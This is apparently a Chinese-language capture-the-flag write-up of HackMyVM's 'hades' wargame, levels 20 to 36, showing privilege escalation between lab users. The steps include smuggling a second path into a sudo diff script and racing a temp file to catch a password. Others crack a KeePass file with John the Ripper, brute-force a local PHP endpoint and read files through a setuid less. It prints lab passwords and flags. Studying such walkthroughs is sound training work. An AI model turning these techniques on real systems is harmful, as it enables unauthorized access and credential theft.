-d here.txt \u003e pass.txt warn@kali:~/Desktop$ stegsnow pass.txt gRqFnHblmZVZSfegPLvO stegsnow 的介绍： stegsnow 是一个做“文本隐写”的命令行工具，核心用途是把信息藏进文本里的空格和 Tab 里，或者把这些隐藏信息提取出来。 它和图片隐写不一样，藏的是“看不见的空白字符”。表面上看文本几乎没变化，但每行末尾的空格/Tab 实际上携带了数据。 最常见的两类操作是： 把消息藏进文本 stegsnow -C -m \"secret message\" cover.txt \u003e hidden.txt 从文本里提取隐藏消息 stegsnow -C hidden.txt 如果设置了口令，还会这样用： stegsnow -C -p mypass hidden.txt 你可以这样理解参数： -m \u0026ldquo;\u0026hellip;\u0026quot;：直接指定要隐藏的消息 -f file：从文件读取要隐藏的内容 -p password：给隐藏内容加口令，提取时也要同样口令 -C：启用压缩，常见也很实用 输入文本文件：作为“载体”，隐藏信息会被塞进它的空白里 \u0026gt; hidden.txt：把隐写后的结果重定向到新文件 -f： 隐藏文件内容 它的工作原理大概是： 用空格和 Tab 表示二进制位 把这些位分散写到每行末尾 解码时读取行尾空白，还原出隐藏数据 如果用了口令，通常还会先经过加密/混淆再写入 它的特点是： 优点：肉眼难发现，适合 CTF 和简单隐写实验 缺点：一旦文本被编辑器“自动删行尾空格”，隐藏数据就会损坏 也怕格式化工具、复制粘贴、某些聊天软件处理空白字符 ","date":"2026-04-08","heading":"level20","objectID":"/p/hades/:20:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level20"},{"categories":["靶机复盘"],"collections":null,"content":"level21 cassiopeia@hades:~$ ls -al total 32 drwxr-x--- 2 root cassiopeia 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 cassiopeia cassiopeia 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 cassiopeia cassiopeia 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 cassiopeia cassiopeia 807 Apr 23 2023 .profile -rw-r----- 1 root cassiopeia 22 Apr 5 2024 flagz.txt -rw-r----- 1 root cassiopeia 131 Apr 5 2024 mission.txt cassiopeia@hades:~$ cat flagz.txt ^GyWbcpEpqMsqMsjilzX^ cassiopeia@hades:~$ ^C cassiopeia@hades:~$ cat mission.txt ################ # MISSION 0x21 # ################ ## EN ## User clio hates spaces. ## ES ## La usuaria clio odia los espacios. cassiopeia@hades:~$ find / -user cassiopeia 2\u003e/dev/null | grep -v \"proc\" /dev/pts/7 /pwned/cassiopeia/.bash_logout /pwned/cassiopeia/.bashrc /pwned/cassiopeia/.profile cassiopeia@hades:~$ find / -user clio 2\u003e/dev/null | grep -v \"proc\" /usr/local/src/differences.sh cassiopeia@hades:~$ ls -al /usr/local/src/differences.sh -r-xr-xr-- 1 clio clio 193 Apr 5 2024 /usr/local/src/differences.sh 当前用户可读，但是此脚本没有suid位。 cassiopeia@hades:/tmp/123$ sudo -l Matching Defaults entries for cassiopeia on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User cassiopeia may run the following commands on hades: (clio) NOPASSWD: /bin/bash -c /usr/local/src/differences.sh 查看differences.sh: cassiopeia@hades:/tmp/123$ cat differences.sh #!/bin/bash echo File to compare:! read differences # 从标准输入流读一行数据 赋值给 differences IFS=0 read file1 file2 \u003c\u003c\u003c \"$differences\" # \u003c\u003c\u003c : 把右边的一小段字符串，直接当作左边命令的标准输入。 # 按 0 分割给file1 file2 if [[ \"$differences\" =~ \\ |\\' ]] # 匹配到 空格 ' 输出no spaces then echo \"No spaces!!\" else /usr/bin/diff $file1 $file2 # 比较两个文件的差异 fi cassiopeia@hades:/tmp/123$ sudo -u clio /bin/bash -c /usr/local/src/differences.sh File to compare:! /pwned/clio/flagz.txt0./1.txt 1c1 \u003c ^XUJbvPwAZYgoUgkpeSv^ --- \u003e 1 read 命令： read var 意思是： 从键盘或输入流读一行 去掉结尾换行 把结果放进 var 更完整一点可以理解为： read [选项] name1 name2 ... 它会按 IFS (内部字段分隔符)分隔输入，并依次赋给这些变量。 IFS=, read x y # 输入：aa,bb # x = aa , y = bb read 默认会处理反斜杠 例如反斜杠可能被当作转义符。 想原样读取，通常加 -r： read -r line ​ 这是写 shell 脚本时的常见推荐写法 不写变量名时，读到 REPLY 例如： read echo \"$REPLY\" ","date":"2026-04-08","heading":"level21","objectID":"/p/hades/:21:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level21"},{"categories":["靶机复盘"],"collections":null,"content":"level22 clio@hades:~$ ls -al total 32 drwxr-x--- 2 root clio 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 clio clio 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 clio clio 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 clio clio 807 Apr 23 2023 .profile -rw-r----- 1 root clio 22 Apr 5 2024 flagz.txt -rw-r----- 1 root clio 169 Apr 5 2024 mission.txt clio@hades:~$ clio@hades:~$ cat mission.txt ################ # MISSION 0x22 # ################ ## EN ## The user cybele uses her lastname as a password. ## ES ## La usuaria cybele usa su apellido como password. clio@hades:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin Debian-exim:x:100:102::/var/spool/exim4:/usr/sbin/nologin messagebus:x:101:103::/nonexistent:/usr/sbin/nologin ftp:x:102:106:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin sshd:x:103:65534::/run/sshd:/usr/sbin/nologin executor:x:2102:2102::/pwned/executor:/bin/bash gemini:x:2101:2101::/pwned/gemini:/usr/sbin/nologin hacker:x:2001:2001::/pwned/hacker:/bin/bash asia:x:2002:2002::/pwned/asia:/bin/bash asteria:x:2003:2003::/pwned/asteria:/bin/bash astraea:x:2004:2004::/pwned/astraea:/bin/bash atalanta:x:2005:2005::/pwned/atalanta:/bin/bash athena:x:2006:2006::/pwned/athena:/bin/bash aura:x:2007:2007::/pwned/aura:/bin/bash aegle:x:2008:2008::/pwned/aegle:/bin/bash calliope:x:2009:2009::/pwned/calliope:/bin/bash calypso:x:2010:2010::/pwned/calypso:/bin/bash cassandra:x:2011:2011::/pwned/cassandra:/bin/bash cassiopeia:x:2012:2012::/pwned/cassiopeia:/bin/bash clio:x:2013:2013::/pwned/clio:/bin/bash cybele:x:2014:2014:UICacOPmJMWbKyPwNZod:/pwned/cybele:/bin/bash # 密码 cynthia:x:2015:2015::/pwned/cynthia:/bin/bash daphne:x:2016:2016::/pwned/daphne:/bin/bash delia:x:2017:2017::/pwned/delia:/bin/bash demeter:x:2018:2018::/pwned/demeter:/bin/bash echo:x:2019:2019::/pwned/echo:/bin/bash eos:x:2020:2020::/pwned/eos:/bin/bash gaia:x:2021:2021::/pwned/gaia:/bin/bash halcyon:x:2022:2022::/pwned/halcyon:/bin/bash hebe:x:2023:2023::/pwned/hebe:/bin/bash hera:x:2024:2024::/pwned/hera:/bin/bash hermione:x:2025:2025::/pwned/hermione:/bin/bash hero:x:2026:2026::/pwned/hero:/bin/bash hestia:x:2027:2027::/pwned/hestia:/bin/bash ianthe:x:2028:2028::/pwned/ianthe:/bin/bash irene:x:2029:2029::/pwned/irene:/bin/bash iris:x:2030:2030::/pwned/iris:/bin/bash kore:x:2031:2031::/pwned/kore:/bin/bash leda:x:2032:2032::/pwned/leda:/bin/bash maia:x:2033:2033::/pwned/maia:/bin/bash nephele:x:2034:2034::/pwned/nephele:/bin/bash nyx:x:2035:2035::/pwned/nyx:/bin/bash pallas:x:2036:2036::/pwned/pallas:/bin/bash pandora:x:2037:2037::/pwned/pandora:/bin/bash penelope:x:2038:2038::/pwned/penelope:/bin/bash phoebe:x:2039:2039::/pwned/phoebe:/bin/bash rhea:x:2040:2040::/pwned/rhea:/bin/bash selene:x:2041:2041::/pwned/selene:/bin/bash maria:x:2042:2042::/pwned/maria:/bin/bash acantha:x:2043:2043::/pwned/acantha:/bin/bash alala:x:2044:2044::/pwned/alala:/bin/bash althea:x:2045:2045::/pwned/althea:/bin/bash andromeda:x:2046:2046::/pwned/andromeda:/bin/bash anthea:x:2047:2047::/pwned/anthea:/bin/bash aphrodite:x:2048:204","date":"2026-04-08","heading":"level22","objectID":"/p/hades/:22:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level22"},{"categories":["靶机复盘"],"collections":null,"content":"level23 cybele@hades:~$ ls -al total 3220 drwxr-x--- 2 root cybele 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 cybele cybele 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 cybele cybele 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 cybele cybele 807 Apr 23 2023 .profile -rw-r----- 1 root cybele 22 Apr 5 2024 flagz.txt -rw-r----- 1 root cybele 3263057 Dec 30 2021 fun.png -rw-r----- 1 root cybele 163 Apr 5 2024 mission.txt cybele@hades:~$ cat mission.txt ################ # MISSION 0x23 # ################ ## EN ## User cynthia sees things that others dont. ## ES ## La usuaria cynthia ve cosas que el resto no ven 图片隐写 java -jar StegSolve-1.4.jar ","date":"2026-04-08","heading":"level23","objectID":"/p/hades/:23:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level23"},{"categories":["靶机复盘"],"collections":null,"content":"level24 cynthia@hades:~$ ls -al total 32 drwxr-x--- 2 root cynthia 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 cynthia cynthia 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 cynthia cynthia 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 cynthia cynthia 807 Apr 23 2023 .profile -rw-r----- 1 root cynthia 22 Apr 5 2024 flagz.txt -rw-r----- 1 root cynthia 187 Apr 5 2024 mission.txt cynthia@hades:~$ cat flagz.txt ^ZRSCKeYYlHkCEiHsEOI^ cynthia@hades:~$ cat mission.txt ################ # MISSION 0x24 # ################ ## EN ## User daphne once told us: Gemini? gem-evil.hmv? WTF? ## ES ## La usuaria daphne nos dijo una vez: Gemini? gem-evil.hmv? WTF? find / -name *gem* 2\u003e/dev/null | grep -v \"proc\" /etc/init.d/gemini /pwned/gemini cat /etc/passwd | grep \"gemini\" gemini:x:2101:2101::/pwned/gemini:/usr/sbin/nologin 有一个gemini的用户，但是没给shell，可能就是在后台跑某个服务的。 /etc/init.d主要是放系统服务启动的脚本，在/etc/init.d里面有gemini，从这可以确定存在gemini服务。 printf \"gemini://gem-evil.hmv\\r\\n\" | openssl s_client -connect 127.0.0.1:1965 -servername gem-evil.hmv -quiet 这里使用printf的原因，printf 输出字符更加稳定一些。 20 text/gemini # Welcome to mi Gemini Server! ## What are you looking for? EkdtKuXCJjlFKFpKgddX gemini 的 额外知识： Gemini 是一种轻量级应用层协议，设计目标介于 Gopher 和 Web 之间：比 HTTP 简单、比纯文本传输更结构化。 默认使用 1965/tcp，几乎总是直接跑在 TLS 之上。 访问 URL 形如 gemini://example.com/。 返回内容常见是 text/gemini，一种很简洁的标记格式，类似“极简版 Markdown”。 它怎么通信 客户端连上服务器的 1965 端口，先做 TLS 握手。 握手完成后，客户端只发一行： gemini://example.com/path\\r\\n 服务器回一行状态： 20 text/gemini\\r\\n 然后紧跟正文内容。 和 HTTP 不一样，Gemini 没有复杂请求头、方法、Cookie、Host 头这些常见结构。 常见状态码 20：成功，后面通常跟 MIME 类型，比如 text/gemini 30/31：重定向 40：临时失败 50：永久失败 51：未找到 60：需要客户端证书 你这题里看到的： 20 text/gemini 就表示“请求成功，内容类型是 Gemini 文本”。 text/gemini 是什么 它是 Gemini 自己的正文格式，很轻量。 常见语法： # 标题 ## 二级标题 =\u0026gt; /path 链接说明 * 列表 \u0026gt; 引用 什么是 SNI SNI 是 TLS 握手里带上的“我要访问哪个主机名” 在 HTTPS 里很常见，一个服务器托管多个站点时，服务端根据 SNI 选证书和站点 Gemini 服务也可以这么做 所以这题不是只要连到 1965 就行，而是必须“报对名字” 例如： openssl s_client -connect 127.0.0.1:1965 -servername gem-evil.hmv 这里的 -servername gem-evil.hmv 就是在发 SNI。 ","date":"2026-04-08","heading":"level24","objectID":"/p/hades/:24:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level24"},{"categories":["靶机复盘"],"collections":null,"content":"level25 cat mission.txt ################ # MISSION 0x25 # ################ ## EN ## The user delia has a good memory, she only has to see her password for a few seconds to remember it. ## ES ## La usuaria delia tiene buena memoria, solo tiene que ver unos segundos su password para recordarlo. cat old.sh #!/bin/bash # OUTPUT=\"PASSWORD_DELIA\" \u003c-- UPDATE IT! secretfile=$(mktemp /tmp/XXX) chmod 664 \"$secretfile\" exec 5\u003e\"$secretfile\" # 让文件描述符 5 指向 $secretfile，可以通过 5 往这个文件写入数据(覆盖式的写入)。 echo $OUTPUT \u003e\u00265 # \u0026 在这里的作用是：\u0026 后面的是文件描述名，而不是文件名。 sleep 0.01 rm \"$secretfile\" mktemp : 用来安全地创建临时文件或临时目录 避免自己手写文件名时发生重名或竞争问题 它会生成一个随机名字 mktemp /tmp/XXX : X 在这里表示随机字符占位符，会被mktemp 替换为随机字符。 old.sh 的 作用，把密码写入文件后删除。 mktemp 在 创建文件时，为了避免文件名的重复，他会创建一个不重名的文件。 #!/bin/bash chars=({a..z}{A..Z}{0..9}) # 做了三次笛卡尔积 for i in \"${chars[@]}\"; do touch \"/tmp/${i}\" done # ${chars[@]}：取所有元素 # 这里为啥要加双引号 \"${chars[@]}\" # ${chars[@]}：每个元素展开后，还可能被继续拆分、再被通配符匹配 # \"${chars[@]}\"：每个元素都保持原样，一个元素就是一个独立参数 另一个版本： #!/bin/bash chars=({a..z} {A..Z} {0..9}) # 输出单个字符 for i in \"${chars[@]}\"; do for j in \"${chars[@]}\"; do for k in \"${chars[@]}\"; do touch \"/tmp/${i}${j}${k}\" done done done 将所有的文件都创建，然后删除一个文件。 daphne@hades:/tmp/123$ ls -al /tmp/XER -rw------- 1 delia delia 0 Mar 17 13:41 /tmp/XER daphne@hades:/tmp/123$ rm -rf /tmp/XER daphne@hades:/tmp/123$ while true; do [ -f /tmp/XER ] \u0026\u0026 cat /tmp/XER ; done 2\u003e/dev/null # [ -f /tmp/XER ] 判断 /tmp/XER 是不是普通文件。 daphne@hades:~$ sudo -u delia /bin/bash -c /usr/local/src/new.sh 输出的密码： bNCvocyOpoMVeCtxrhTt bNCvocyOpoMVeCtxrhTt ","date":"2026-04-08","heading":"level25","objectID":"/p/hades/:25:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level25"},{"categories":["靶机复盘"],"collections":null,"content":"level26 进来发现是乱码。 cp flagz.txt /tmp/ cp mission.txt /tmp/ chmod +r /tmp/flagz.txt chmod +r /tmp/mission.txt ls -al \u003e /tmp/1.txt chmod +r /tmp/1.txt ./showpass \u003e\u003e /tmp/1.txt 密码如下：FkyuXkkJNONDChoaKzOI 用delia用户执行上面的内容，用上一个用户读取/tmp/目录的文件(我们在上面复制副本文件)即可。 daphne@hades:~$ cat /tmp/flagz.txt ^QfaHPyEqMepsOdMxQCQ^ daphne@hades:~$ cat /tmp/mission.txt ################ # MISSION 0x26 # ################ ## EN ## User demeter reads in another language. ## ES ## La usuaria demeter lee en otro idioma. daphne@hades:~$ cat /tmp/1.txt total 48 drwxr-x--- 2 root delia 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 delia delia 220 Apr 23 2023 .bash_logout -r--r----- 1 delia delia 3539 Apr 5 2024 .bashrc -rw-r--r-- 1 delia delia 807 Apr 23 2023 .profile -rw-r----- 1 root delia 22 Apr 5 2024 flagz.txt -rw-r----- 1 root delia 150 Apr 5 2024 mission.txt ---x--x--- 1 delia delia 15952 Apr 5 2024 showpass daphne@hades:~$ cat /tmp/1.txt FkyuXkkJNONDChoaKzOI ","date":"2026-04-08","heading":"level26","objectID":"/p/hades/:26:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level26"},{"categories":["靶机复盘"],"collections":null,"content":"level27 demeter@hades:~$ ls -al total 32 drwxr-x--- 2 root demeter 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 demeter demeter 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 demeter demeter 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 demeter demeter 807 Apr 23 2023 .profile -rw-r----- 1 root demeter 22 Apr 5 2024 flagz.txt -rw-r----- 1 root demeter 119 Apr 5 2024 mission.txt demeter@hades:~$ cat flagz.txt ^JiviWHRVRZLSfjBuwAi^ demeter@hades:~$ cat mission.txt ################ # MISSION 0x27 # ################ ## EN ## The user echo permute. # permute 权限置换 ## ES ## La usuaria echo permuta. demeter@hades:~$ sudo -l Matching Defaults entries for demeter on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User demeter may run the following commands on hades: (echo) NOPASSWD: /usr/bin/ptx ptx : 把每一行看作一条记录 挑出其中的关键词 按关键词排序 输出“关键词连同前后上下文”的索引格式 ptx 的典型输出长什么样 假设有个文件 input.txt： Linux is a powerful operating system Unix provides many text processing tools Linux supports scripting and automation 执行： ptx input.txt 它会生成一种“关键词在上下文中”的索引，效果大致像这样： powerful operating system Linux is a many text processing tools Unix provides supports scripting and automation Linux demeter@hades:~$ sudo -u echo /usr/bin/ptx /pwned/echo/flagz.txt ^ abeDeOxlPMAABepeBHy^ echo/GztROerShmiyiCIlfepG ","date":"2026-04-08","heading":"level27","objectID":"/p/hades/:27:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level27"},{"categories":["靶机复盘"],"collections":null,"content":"level28 echo@hades:~$ ls -al total 468 drwxr-x--- 2 root echo 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 echo echo 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 echo echo 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 echo echo 807 Apr 23 2023 .profile -rw-r----- 1 root echo 22 Apr 5 2024 flagz.txt -rw-r----- 1 root echo 142 Apr 5 2024 mission.txt -rw-r----- 1 root echo 442848 Dec 20 2021 noise.wav echo@hades:~$ cat mission.txt ################ # MISSION 0x28 # ################ ## EN ## The user eos can see the sounds. ## ES ## La usuaria eos puede ver los sonidos. Audacity 看频率图，就可以发现密码： 密码：CWBKRQX ","date":"2026-04-08","heading":"level28","objectID":"/p/hades/:28:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level28"},{"categories":["靶机复盘"],"collections":null,"content":"level29 eos@hades:~$ cat mission.txt ################ # MISSION 0x29 # ################ ## EN ## The user gaia is very careful saving her passwords. ## ES ## La usuaria gaia es muy precavida guardando sus passwords. scp 命令下载 secretz.kbdx。 warn@kali:~/Desktop$ file secretz.kbdx secretz.kbdx: Keepass password database 2.x KDBX #文件内容是 KeePass 2.x 的 KDBX 密码库。 keepass2john secretz.kbdx \u003e pass # 把 KeePass 的 .kdbx 文件转换成 John the Ripper 能识别的“哈希/校验数据”格式 john pass --wordlist=\"/usr/share/wordlists/rockyou.txt\" # 负责“拿候选密码去验证是否正确” warn@kali:~/Desktop$ john pass --wordlist=\"/usr/share/wordlists/rockyou.txt\" Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 60000 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status heaven (secretz) 1g 0:00:00:00 DONE (2026-03-18 21:38) 1.587g/s 304.7p/s 304.7c/s 304.7C/s pepper..november Use the \"--show\" option to display all of the cracked passwords reliably Session completed. 密码是heaven。 keepass2 secretz.kdbx # 输入: heaven # 导出密码 \"Account\",\"Login Name\",\"Password\",\"Web Site\",\"Comments\" \"Trash\",\"Gaia\",\"sbUcegcdYTTWzTKojzgm\",\"\",\"\" ","date":"2026-04-08","heading":"level29","objectID":"/p/hades/:29:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level29"},{"categories":["靶机复盘"],"collections":null,"content":"level30 gaia@hades:~$ cat mission.txt ################ # MISSION 0x30 # ################ ## EN ## User halcyon wants all the powah. ## ES ## La usuaria halcyon quiere todo el powah. gaia@hades:~$ sudo -l [sudo] password for gaia: Sorry, user gaia may not run sudo on hades. gaia@hades:~$ gaia@hades:~$ cat hpass1.txt manuela gaia@hades:~$ cat hpass2.txt cat: hpass2.txt: Permission denied gaia@hades:~$ find / -perm -u=s -type f 2\u003e/dev/null /usr/sbin/exim4 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/newgrp /usr/bin/chfn /usr/bin/umount /usr/bin/mount /usr/bin/chsh /usr/bin/gpasswd /usr/bin/ffmpeg /usr/bin/getty /usr/bin/sudo /usr/bin/w3m /opt/gift_hacker gaia@hades:~$ getent group powah powah:x:1000: # 该组没有该用户 # /etc/group 查看组 newgrp 用来 临时切换当前 shell 的有效组（effective group），或者让你立即启用新加入的组，不用先退出再登录。 最常见场景： 你刚被加入某个组，比如 docker 直接执行： newgrp docker 这样会启动一个新的 shell，并把当前有效组切换成 docker，让组权限立刻生效。 gaia@hades:~$ cat hpass1.txt manuela gaia@hades:~$ newgrp powah Password: gaia@hades:~$ id uid=2021(gaia) gid=1000(powah) groups=1000(powah),2021(gaia) gaia@hades:~$ cat hpass2.txt cuMRRameGdmhVxHcYYYs ","date":"2026-04-08","heading":"level30","objectID":"/p/hades/:30:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level30"},{"categories":["靶机复盘"],"collections":null,"content":"level31 halcyon@hades:~$ cat mission.txt ################ # MISSION 0x31 # ################ ## EN ## The user hebe has one 'magicword' to get her password using http://localhost/req.php ## ES ## La usuaria hebe tiene una 'magicword' para obtener su password usando http://localhost/req.php 从kali上传一个字典到服务器上。 warn@kali:~/Desktop$ head -n 100 /usr/share/wordlists/rockyou.txt \u003e 31_level.txt warn@kali:scp -P 6666 ./31_level.txt halcyon@hades.hackmyvm.eu:/tmp/ halcyon@hades.hackmyvm.eu's password: 31_level.txt 100% 785 4.0KB/s 00:00 halcyon@hades:/tmp/123$ cat 3.sh #!/bin/bash for i in $(cat 31_level.txt); do curl http://localhost/req.php?magicword=${i} done halcyon@hades:/tmp/123$ bash 3.sh NO... NO... NO... tOlbuBLjFWntVDNmjHIG ","date":"2026-04-08","heading":"level31","objectID":"/p/hades/:31:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level31"},{"categories":["靶机复盘"],"collections":null,"content":"level32 hebe@hades:~$ cat mission.txt ################ # MISSION 0x32 # ################ ## EN ## User hera refuses to use Discord, she prefer an older and open source service. ## ES ## La usuaria hera se niega a usar Discord, prefiere un medio mas antiguo y abierto. ls -al /etc/init.d # /etc/init.d 是放置服务启动文件的文件夹 # /etc/.... 是放置服务的配置文件 如/etc/nginx/nginx.conf hebe@hades:~$ ls -al /etc/init.d total 80 drwxr-xr-x 1 root root 4096 Mar 17 11:17 . drwxr-xr-x 1 root root 4096 Mar 17 11:16 .. -rwxr-xr-x 1 root root 3059 Oct 5 1972 cron -rwxr-xr-x 1 root root 3152 Mar 11 1987 dbus -rwxr-xr-x 1 root root 7167 Nov 25 2011 exim4 -rwxr-x--- 1 root root 643 Apr 24 2013 gemini -rwxr-xr-x 1 root root 1748 May 24 2001 hwclock.sh -rwxr-xr-x 1 root root 2366 Mar 17 11:17 inspircd -rwxr-xr-x 1 root root 4579 May 11 1972 nginx -rwxr-xr-x 1 root root 4294 Mar 30 1996 php8.2-fpm -rwxr-xr-x 1 root root 959 Sep 10 2020 procps -rwxr-xr-x 1 root root 4060 Oct 18 1982 ssh -rwxr-xr-x 1 root root 1161 Aug 14 1983 sudo -rwxr-xr-x 1 root root 2067 Apr 23 2013 vsftpd -rwxr-xr-x 1 root root 2762 Jul 14 1970 x11-common # 存在这么多的服务启动文件 # inspircd 是 基于 irc 协议的服务，可以用于聊天 # 从这个里可以确定使用的聊天软件确实是 基于irc 的。 ./busybox nc 127.0.0.1 6667 NICK CUO123 USER CUO123 0 * : CUO123 LIST :hades.hmv 321 CUO123 Channel :Users Name :hades.hmv 322 CUO123 #channel666 0 :[+Pnt] Welcome hacker! Take it: JzpyRXRzWoHKZwgWzleM :hades.hmv 323 CUO123 :End of channel list. ","date":"2026-04-08","heading":"level32","objectID":"/p/hades/:32:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level32"},{"categories":["靶机复盘"],"collections":null,"content":"level33 hera@hades:~$ cat mission.txt ################ # MISSION 0x33 # ################ ## EN ## User hermione would like to know what hera was doing. ## ES ## A la usuaria hermione le gustaria saber que hacia hera. .bash_history 存在 隐藏flag。 hera@hades:~$ cat .bash_history ls ps sudo -u hermione bash cp /etc /etc2 ^LVFcQoSJeZgUltXJKnpZ^ ls id cat /usr/hera rm /usr/hera whoami zip -R etc.zip /etc 进行信息收集，发现/usr/hera，读取/usr/hera，就可以拿到密码。 hera@hades:~$ cat /usr/hera vzhOebSSplFoXPKxwtqU ","date":"2026-04-08","heading":"level33","objectID":"/p/hades/:33:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level33"},{"categories":["靶机复盘"],"collections":null,"content":"level34 hermione@hades:~$ cat mission.txt ################ # MISSION 0x34 # ################ ## EN ## User hero only talks to some groups. ## ES ## La usuaria hero solo se habla con algunos grupos. hermione@hades:~$ ./beastgroup I only trust group 6666, you are group 2025 hermione@hades:~$ id uid=2025(hermione) gid=2025(hermione) groups=2025(hermione),6666(beast) # 从id输出的信息可以看出 2025 为主组 6666 为附属组。 hermione@hades:~$ gentent group beast -bash: gentent: command not found hermione@hades:~$ getent group beast beast:x:6666:hermione hermione@hades:~$ newgrp beast hermione@hades:~$ id uid=2025(hermione) gid=6666(beast) groups=6666(beast),2025(hermione) hermione@hades:~$ ./beastgroup vlImTDSGnTMwLFgRWCOc ","date":"2026-04-08","heading":"level34","objectID":"/p/hades/:34:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level34"},{"categories":["靶机复盘"],"collections":null,"content":"level35 hero@hades:~$ id uid=2026(hero) gid=2026(hero) groups=2026(hero) hero@hades:~$ cat mission.txt ################ # MISSION 0x35 # ################ ## EN ## User hestia likes to keep the screen clean. ## ES ## A la usuaria hestia le gusta mantener la pantalla limpia. hero@hades:~$ ./cleaner 从这里开始翻不了历史记录，啥情况下翻不了历史记录：新建立一个shell的时候翻不了历史记录。 hero@hades:~$ id uid=2026(hero) gid=2226(her0) groups=2226(her0),2026(hero) hero@hades:~$ find / -group her0 2\u003e/dev/null | grep -v \"proc\" /usr/share/libs hero@hades:~$ cat /usr/share/libs opTNnZQAuFJsauNPHXVq ","date":"2026-04-08","heading":"level35","objectID":"/p/hades/:35:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level35"},{"categories":["靶机复盘"],"collections":null,"content":"level36 hestia@hades:~$ ls -al total 228 drwxr-x--- 2 root hestia 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 hestia hestia 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 hestia hestia 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 hestia hestia 807 Apr 23 2023 .profile -rw-r----- 1 root hestia 22 Apr 5 2024 flagz.txt -r-s--s--- 1 ianthe hestia 198960 Apr 5 2024 less -rw-r----- 1 root hestia 157 Apr 5 2024 mission.txt hestia@hades:~$ cat flagz.txt ^mIZKIDJYZQDogbkwRGy^ hestia@hades:~$ cat mission.txt ################ # MISSION 0x36 # ################ ## EN ## User ianthe has left us her own less. ## ES ## La usuaria ianthe nos ha dejado su propio less. hestia@hades:~$ ./less Missing filename (\"less --help\" for help) hestia@hades:~$ ./less flagz.txt hestia@hades:~$ ./less /pwned/ianthe/flagz.txt /pwned/ianthe/flagz.txt: Permission denied hestia@hades:~$ find / -user ianthe 2\u003e/dev/null | grep -v \"proc\" /opt/ianthe_pass.txt /pwned/hestia/less hestia@hades:~$ ls -al /opt/ianthe_pass.txt -r--r----- 1 ianthe ianthe 21 Apr 5 2024 /opt/ianthe_pass.txt hestia@hades:~$ ./less /opt/ianthe_pass.txt DphioLqgVIIFclTwBsMP 